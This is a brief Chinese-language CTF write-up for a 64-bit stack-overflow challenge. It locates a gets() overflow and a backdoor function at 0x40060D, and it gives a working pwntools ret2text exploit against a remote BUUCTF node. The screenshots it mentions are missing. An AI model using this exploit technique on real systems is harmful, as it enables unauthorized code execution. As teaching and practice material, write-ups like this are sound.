checksec检查是64位,未开启任何保护
运行效果如下:
IDA打开反编译main函数:
gets()函数存在栈溢出
寻找后门函数:
直接字符串查找system或者flag
后门函数的地址是0x40060D
再看一下变量在栈中的位置:
写exp:
#!/usr/bin/python
from pwn import*
io=remote("node5.buuoj.cn",26676)
payload=b'a'*(0x40+8)+p64(0x40060D+1)
io.sendline(payload)
io.interactive()
执行结果: